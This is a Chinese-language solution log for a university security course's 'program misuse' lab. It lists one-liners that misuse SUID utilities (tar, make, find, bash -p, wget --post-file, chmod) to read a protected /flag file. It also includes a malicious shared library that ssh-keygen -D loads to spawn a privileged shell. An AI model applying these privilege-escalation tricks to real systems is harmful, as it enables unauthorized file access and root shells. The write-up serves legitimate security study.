这里记录的是ASU 466课程的解题记录,pwn,这一小节的题目只要学会看man page
就能写出来。
1
2
3
4
5
6
7
8
9
10
11
1
| od -w100 -c /flag | sed 's# ##g'
|
12
13
14
1
| base32 /flag | base32 -d
|
注意这里不能直接base32 -d /flag
,因为-d
参数要有东西才能解码,所以要先用base32
把/flag
读出来
15
1
| base64 /flag | base64 -d
|
16
17
18
1
| bzip2 -c /flag | bzip2 -d
|
19
1 2
| zip -r /flag.zip /flag unzip -p /flag
|
这里要注意zip
命令的顺序,是被压缩后的名字在前,要压缩的文件在后,要加上-r
参数
20
1 2
| tar -cvf flag.tar /flag tar xf flag.tar -O
|
or
1
| tar xf /flag -I '/bin/sh -c "cat 1>&2"'
|
第一个是延续压缩+解压的思路,下面是在网上看到的,利用-I
参数执行额外程序的方法获得flag
21
1 2
| ar -q flag.ar /flag cat flag.ar
|
22
1 2
| echo "/flag" | cpio -o > flag.cpio cat flag.cpio
|
23
24
25
1
| find . -exec cat /flag \; -quit
|
这里后面不加quit
会一直find
26
1 2 3 4 5
| vim Makefile run: cat /flag
make run
|
or
1
| COMMAND='cat /flag';make -s --eval=$'x:\n\t-'"$COMMAND"
|
-s
选项告诉make
以静默模式运行,也就是不输出详细的构建信息,只显示关键信息。
--eval=$'x:\n\t-'"$COMMAND"
:--eval
用于在执行make
时求值指定的表达式;$'x:\n\t-'"COMMAND"
是一个将表达式传递给make
的字符串
-x
是一个Makefile
规则,它指定了一个名为x
的目标。在这个例子中,x
是目标的名字,后面的冒号表示这是一个伪目标。
\n\t-
是一个转义字符序列,表示一个换行符和一个制表符。这是Makefile
语法中规定的,用于表示命令行的缩进。
"$COMMAND"
会被展开为前面定义的COMMAND
变量的值 ,也就是cat /flag
。这将作为x
目标的执行命令。
27
28
29
30
1
| setarch $(arch) cat /flag
|
31
32
1
| socat -u FILE:/flag STDOUT
|
33
1
| whiptail --textbox --scrolltext /flag 20 80
|
34
35
36
or
打开名为 /flag
的文件,并向 ed
命令传递了字符 n
。在 ed
编辑器中,n
通常用于打印当前行的内容。
37
1 2
| chown -c hacker /flag cat /flag
|
38
1
| chmod 777 /flag && cat /flag
|
39
震惊!原来还可以这样输出!
40
1 2 3
| mv /usr/bin/cat /usr/bin/mv
mv /flag
|
41
perl脚本
1 2 3 4 5 6 7 8
| my $flags="/flag";
open(my $flag,'<',$flags) or die "Could not open file: $!";
while(my $line = <$flag>){ print $line; } close ($flag);
|
perl脚本和bash脚本的区别:
Perl(Practical Extraction and Reporting Language)和Bash(Bourne-Again Shell)是两种不同的编程语言,它们有一些显著的区别:
1. 用途:
- Perl 是一种通用的编程语言,专注于文本处理、数据转换、报告生成、正则表达式和系统管理等任务。Perl通常用于处理复杂的文本操作和数据处理任务。
- Bash 是一种Unix Shell脚本语言,用于操作和自动化命令行环境中的任务。Bash通常用于执行系统命令、管理文件系统、编写简单的脚本以及处理系统级任务。
2. 语法:
- Perl 具有一种更灵活和强大的语法,支持面向对象编程、函数式编程、正则表达式和高级数据结构。它有强大的字符串处理能力和大量的内置模块。
- Bash 的语法相对较简单,主要用于执行命令和控制流操作。它适用于简单的脚本编写和自动化任务。
3. 数据类型:
- Perl 具有更多的内置数据类型,包括标量(scalar)、数组(array)、哈希(hash)以及对象。它对数据处理和数据结构操作更为灵活。
- Bash 主要处理文本和字符串,虽然可以处理数组,但对于更复杂的数据结构支持较弱。
4. 模块和库:
- Perl 拥有丰富的模块和库,涵盖了各种领域,可以加速开发。CPAN(Comprehensive Perl Archive Network)是Perl社区的模块存储库,包含了大量的开源模块。
- Bash 虽然有一些内置的函数和工具,但它的生态系统相对较小,通常需要依赖于外部工具和命令行实用程序来执行复杂的任务。
5. 适用场景:
- Perl 更适合于需要复杂文本处理、正则表达式、数据转换、网络编程、脚本测试和大型应用程序开发等任务。
- Bash 更适合于系统管理、自动化任务、批处理处理、简单脚本编写以及与命令行工具的交互。
总之,Perl和Bash是两种不同的编程语言,各自在不同的领域和用途中具有优势。选择使用哪种语言取决于您要解决的具体问题和任务的性质。有时,它们也可以结合使用,以充分利用各自的优势。
42
1 2 3 4 5
| import os
with open("/flag","r") as file: content = file.read() print(content)
|
43
1 2 3 4 5 6 7 8 9 10 11 12 13
| flag = "/flag"
begin file = File.open(flag,"r") content = file.read puts content rescue Errno::ENOENT puts "File '#{flag}' not fount." rescue StandardError => e puts "An error occurred: #{e}" ensure file.close if file end
|
44
本题最开始是和上面一样尝试写一个bash脚本,然后使用bash命令去执行,但发现依然没有权限访问flag。
1 2 3 4 5 6 7 8 9 10 11 12 13
| #!/usr/bin/bash filename="/flag"
if [ ! -f "$filename" ]; then echo "File '$filename' not found." exit 1 fi
while IFS= read -r line; do echo "$line" done < "$filename"
exit 0
|
1 2 3 4 5
| #!/usr/bin/bash
cat /flag
exit 0
|
以上两个均会报错权限不允许
后经查阅发现是需要使用bash -p
进行提权,它的意思是以安全模式启动bash
,因为在这里bash
设置了SUID
,所以在这里是执行了之后相当于在当前命令行下执行的命令都具有bash命令的权限,然后直接使用cat /flag
就好了
45
在经过查阅date
命令并进行尝试后试出答案,理论上是使用date
命令直接报错输出/flag
里面的内容
46
47
1
| wc -l --files0-from=/flag
|
48
本题最初是想写一个c文件编译读取,但写完后发现不行,和bash
那个一样44,经查阅后发现需要这样读取/flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include <stdio.h> #include <stdlib.h>
int main() {
int result = system("cat /flag");
if (result == -1) { perror("Error executing cat command"); return 1; }
return 0; }
|
这条命令告诉gcc
命令执行预处理操作,以处理/flag
文件中的C语言代码,-E
表示执行预处理操作而不进行编译,-x c
用于指定输入文件的类型,表示输入文件是C语言代码。
49
50
1
| nc -lp 8088 & wget --post-file=/flag http://127.0.0.1:8088
|
查看wget命令后使用了-i参数读取,读取出来了但是都是小写,没有通过,后经查阅发现需要这样使用
51
related resource
b站提取video
1 2 3 4 5 6 7 8 9 10
| #include<stdio.h> #include<stdlib.h> static void inject() __attribute__((constructor)); void C_GetFunctionList(){ printf("euid:%d\n",geteuid()); sendfile(1,open("/flag",0),0,4096); char *argvv[]={"bash","-p",NULL}; execvp("/bin/bash",argvv); }
|
best answer
1 2 3 4
| int C_GetFunctionList() { sendfile(1,open("/flag",0),0,4096); }
|
1 2
| gcc level51.c -shared -o su.os ssh-keygen -D ./su.os
|
首先翻阅man page可以看到ssh-keygen用-D参数可以直接运行任意的共享库,如果有suid的话就能运行我们的恶意代码造成提权
c程序中可以利用<dlfcn.h>头文件中的一系列函数dlopen,dlclose来加载运行共享库。
gcc可以通过-shared
参数来创建共享库,共享库不能单独运行,它相当于一个必须被别人调用才能运行的程序,它与普通二进制程序的区别可以通过file命令来查看,共享库没有interpreter
这样的字段,也就是没有链接解释器。%